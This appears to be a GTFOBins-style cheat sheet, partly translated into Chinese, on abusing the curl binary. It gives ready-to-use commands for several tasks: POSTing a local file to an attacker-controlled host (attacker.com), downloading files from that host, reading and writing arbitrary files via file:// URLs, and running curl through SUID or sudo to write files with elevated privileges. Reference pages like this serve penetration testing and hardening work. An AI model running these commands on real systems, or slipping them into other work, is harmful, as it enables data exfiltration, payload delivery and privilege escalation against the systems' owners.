.. / curl

file-upload

上传文件到外部。

• Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Omit the @ to send hard-coded data.

  URL=http://attacker.com/
  LFILE=要发送的文件
  curl -X POST -d "@$LFILE" $URL
  

file-download

下载远程文件。

• Fetch a remote file via HTTP GET request.

  URL=http://attacker.com/file_to_get
  LFILE=file_to_save
  curl $URL -o $LFILE
  

file-read

从文件中读取数据。

• The file path must be absolute.

  LFILE=/tmp/要读取的文件路径
  curl file://$LFILE
  

file-write

将数据写入文件中。

• The file path must be absolute.

  LFILE=要写入的文件
  TF=$(mktemp)
  echo DATA >$TF
  curl "file://$TF" -o "$LFILE"
  

suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

• Fetch a remote file via HTTP GET request.

  URL=http://attacker.com/file_to_get
  LFILE=file_to_save
  ./curl $URL -o $LFILE
  

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• Fetch a remote file via HTTP GET request.

  URL=http://attacker.com/file_to_get
  LFILE=file_to_save
  sudo curl $URL -o $LFILE